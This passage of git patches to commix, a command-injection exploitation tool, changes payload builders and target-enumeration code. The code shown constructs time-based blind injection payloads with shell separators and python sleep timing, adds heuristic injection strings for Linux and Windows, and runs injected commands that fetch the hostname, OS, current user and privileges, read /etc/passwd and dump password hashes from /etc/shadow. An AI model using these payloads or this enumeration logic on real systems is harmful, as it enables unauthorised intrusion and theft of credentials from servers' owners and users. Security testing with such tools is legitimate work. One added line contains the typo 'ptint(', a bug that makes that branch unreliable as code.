- "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
- "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
@@ -671,8 +677,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") ] " + separator +
- "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
@@ -683,7 +689,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
-
+ else:
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
# eof
\ No newline at end of file
diff --git a/src/core/main.py b/src/core/main.py
index 2613efc0cb..6765d681cf 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -130,7 +130,6 @@ def check_custom_injection_marker(url):
print(settings.print_error_msg(err_msg))
pass
-
"""
Define HTTP User-Agent header.
"""
@@ -483,13 +482,6 @@ def main(filename, url):
if not menu.options.tech:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
- # Check if specified wrong alternative shell
- if menu.options.alter_shell:
- if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
- err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
# Check the file-destination
if menu.options.file_write and not menu.options.file_dest or \
menu.options.file_upload and not menu.options.file_dest:
@@ -606,6 +598,13 @@ def main(filename, url):
if settings.STABLE_RELEASE == False:
common.days_from_last_update()
+ # Check if specified wrong alternative shell
+ if menu.options.alter_shell:
+ if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
+ err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+
# Define the level of verbosity.
if menu.options.verbose > 4:
err_msg = "The value for option '-v' "
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4526e71893..65ca93ef3c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "76"
+REVISION = "77"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -273,12 +273,25 @@ def sys_argv_errors():
INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE"
VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]'
+# Default (windows) target host's python interpreter
+WIN_PYTHON_INTERPRETER = "python.exe"
+USER_DEFINED_PYTHON_DIR = False
+
+# Default (linux) target host's python interpreter
+LINUX_PYTHON_INTERPRETER = "python3"
+USER_DEFINED_PYTHON_INTERPRETER = False
+
#Basic heuristic checks for command injections
RAND_A = random.randint(1,10000)
RAND_B = random.randint(1,10000)
-BASIC_STRING = str(RAND_A) + "+" + str(RAND_B)
-BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))",
- "|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")"
+CALC_STRING = str(RAND_A) + "+" + str(RAND_B)
+BASIC_STRING = "(" + CALC_STRING + ")"
+BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")&&echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")",
+ "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING
+ ]
+ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\""
+ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")&&echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")",
+ "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p =%i< nul &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p =%i< nul"
]
BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B)
IDENTIFIED_COMMAND_INJECTION = False
@@ -877,14 +890,6 @@ def sys_argv_errors():
# Ignore Error Message
IGNORE_ERR_MSG = False
-# Default (windows) target host's python interpreter
-WIN_PYTHON_INTERPRETER = "python.exe"
-USER_DEFINED_PYTHON_DIR = False
-
-# Default (linux) target host's python interpreter
-LINUX_PYTHON_INTERPRETER = "python3"
-USER_DEFINED_PYTHON_INTERPRETER = False
-
# Windows PHP installed directory.
WIN_PHP_DIR = "C:\\xampp\\php\\php.exe"
USER_DEFINED_PHP_DIR = False
From 40eea73a1aea866f06defe942e5a71222a765c2b Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 7 Jun 2022 07:36:03 +0300
Subject: [PATCH 154/560] Multiple fixes and updated
---
.../techniques/time_based/tb_enumeration.py | 319 +++++++--------
.../techniques/time_based/tb_file_access.py | 21 +-
.../blind/techniques/time_based/tb_handler.py | 150 ++++---
.../techniques/time_based/tb_injector.py | 82 +---
src/core/injections/controller/checks.py | 70 ++--
src/core/injections/controller/controller.py | 13 +-
.../techniques/classic/cb_enumeration.py | 247 +++++-------
.../techniques/classic/cb_file_access.py | 19 +-
.../techniques/classic/cb_handler.py | 129 +++---
.../techniques/eval_based/eb_enumeration.py | 264 ++++++------
.../techniques/eval_based/eb_file_access.py | 19 +-
.../techniques/eval_based/eb_handler.py | 126 +++---
.../techniques/file_based/fb_enumeration.py | 270 +++++--------
.../techniques/file_based/fb_file_access.py | 19 +-
.../techniques/file_based/fb_handler.py | 71 ++--
.../tempfile_based/tfb_enumeration.py | 347 ++++++++--------
.../tempfile_based/tfb_file_access.py | 20 +-
.../techniques/tempfile_based/tfb_handler.py | 103 ++---
.../techniques/tempfile_based/tfb_injector.py | 88 +---
src/core/main.py | 4 +-
src/core/modules/shellshock/shellshock.py | 376 +++++++++---------
src/core/requests/parameters.py | 2 +-
src/core/requests/requests.py | 4 +-
src/core/shells/bind_tcp.py | 45 +--
src/core/shells/reverse_tcp.py | 73 ++--
src/core/tamper/backslashes.py | 2 +-
src/core/tamper/backticks.py | 2 +-
src/core/tamper/dollaratsigns.py | 2 +-
src/core/tamper/doublequotes.py | 2 +-
src/core/tamper/nested.py | 2 +-
src/core/tamper/singlequotes.py | 2 +-
src/core/tamper/slash2env.py | 2 +-
src/core/tamper/sleep2timeout.py | 2 +-
src/core/tamper/sleep2usleep.py | 2 +-
src/core/tamper/space2ifs.py | 2 +-
src/core/tamper/uninitializedvariable.py | 2 +-
src/utils/common.py | 72 ++--
src/utils/menu.py | 72 ++--
src/utils/session_handler.py | 6 +-
src/utils/settings.py | 14 +-
40 files changed, 1331 insertions(+), 1736 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index dbc3b54eee..7db7f2f3cf 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -16,7 +16,6 @@
import re
import sys
from src.thirdparty.six.moves import urllib as _urllib
-
from src.utils import logs
from src.utils import menu
from src.utils import settings
@@ -52,14 +51,13 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
# Output PowerShell's version number
- info_msg = "The PowerShell's version number is "
+ info_msg = "Powershell version: "
info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
- sys.stdout.flush()
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ info_msg = "Powershell version: " + ps_version + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
@@ -85,13 +83,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
if shell:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "The hostname is " + str(shell)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
- sys.stdout.flush()
+ info_msg = "Hostname: " + str(shell)
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The hostname is " + str(shell) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -128,7 +125,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
- target_os = target_os + " (" + distro_name + ")"
+ target_os = target_os + " " + distro_name
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
@@ -142,22 +139,19 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
- if target_arch:
+ if target_os and target_arch:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
- info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
- sys.stdout.flush()
+ info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The underlying operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
- warn_msg = "Heuristics have failed to retrieve the system information."
+ warn_msg = "Heuristics have failed to fetch underlying operating system information."
print(settings.print_warning_msg(warn_msg))
"""
@@ -177,76 +171,68 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
cu_account = output
if cu_account:
- # Check if the user have super privileges.
- if menu.options.is_root or menu.options.is_admin:
- if settings.TARGET_OS == "win":
- cmd = settings.IS_ADMIN
- else:
- cmd = settings.IS_ROOT
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- if settings.VERBOSITY_LEVEL == 0 and _:
- sys.stdout.write("\n")
- # The main command injection exploitation.
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
- else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- shell = output
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- if shell:
- shell = "".join(str(p) for p in shell)
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is not privileged.\n")
- output_file.close()
- else:
- sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is privileged.\n")
- output_file.close()
- else:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Current user: " + str(cu_account)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = "Current user: " + str(cu_account) + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
else:
- warn_msg = "Heuristics have failed to identify the current user."
+ warn_msg = "Heuristics have failed to fetch the current user."
print(settings.print_warning_msg(warn_msg))
-
+
+"""
+Check if the current user has excessive privileges.
+"""
+def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
+ _ = False
+ if settings.TARGET_OS == "win":
+ cmd = settings.IS_ADMIN
+ else:
+ cmd = settings.IS_ROOT
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ _ = True
+ else:
+ output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ shell = output
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ _ = "True"
+ if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
+ (settings.TARGET_OS != "win" and shell != "0"):
+ _ = "False"
+
+ info_msg = "Current user has excessive privileges: " + str(_)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+
"""
System users enumeration
"""
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
+ info_msg = "Executing the 'net users' command "
+ info_msg += "in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
+ else:
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
@@ -260,12 +246,6 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users = output
# Windows users enumeration.
if settings.TARGET_OS == "win":
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
@@ -274,11 +254,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users_list = "".join(str(p) for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " via 'net users' command."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -288,14 +269,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
- info_msg = "Confirming privileges of user '"
- info_msg += sys_users_list[user] + "'. "
- print(settings.print_info_msg(info_msg))
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)"
+ cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
if alter_shell:
cmd = cmd.replace("'","\\'")
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- check_privs = output
+ cmd = "cmd /c " + cmd
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ check_privs = cb_injector.injection_results(response, TAG, cmd)
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p) for p in check_privs).strip()
@@ -309,37 +288,26 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else :
is_privileged = ""
is_privileged_nh = ""
- if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- print(settings.SINGLE_WHITESPACE)
- print("\n [" +str(count)+ "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate users entries."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
pass
+
# Unix-like users enumeration.
else:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
@@ -347,13 +315,13 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
@@ -365,12 +333,10 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
info_msg += " in '" + settings.PASSWD_FILE + "'."
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -410,12 +376,11 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else :
is_privileged = ""
is_privileged_nh = ""
- sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
- sys.stdout.flush()
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -429,21 +394,17 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
output_file.write(" " + sys_users)
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.PASSWD_FILE + "'."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += settings.PASSWD_FILE + "'."
+ ptint(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "'."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
"""
@@ -452,9 +413,13 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
- # Not yet implemented!
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
pass
else:
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
@@ -468,19 +433,13 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
if sys_passes == "":
sys_passes = " "
if sys_passes :
- info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split( )
+ sys_passes = sys_passes.split()
if len(sys_passes) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_passes))
info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.SHADOW_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -493,103 +452,111 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" [" +str(count)+ "] " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
+ print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + " : " + fields[1])
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
- warn_msg = "It seems that '" + settings.SHADOW_FILE
- warn_msg += "' file is not in the appropriate format. "
- warn_msg += "Thus, it is expoted as a text file."
- sys.stdout.write(settings.print_warning_msg(warn_msg))
+ warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
+ warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
+ print(settings.print_warning_msg(warn_msg))
print(fields[0])
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + fields[0])
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.SHADOW_FILE + "' file."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- info_msg = "Executing the user-supplied command '" + cmd + "'."
+ info_msg = "Executing the user-supplied command: '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
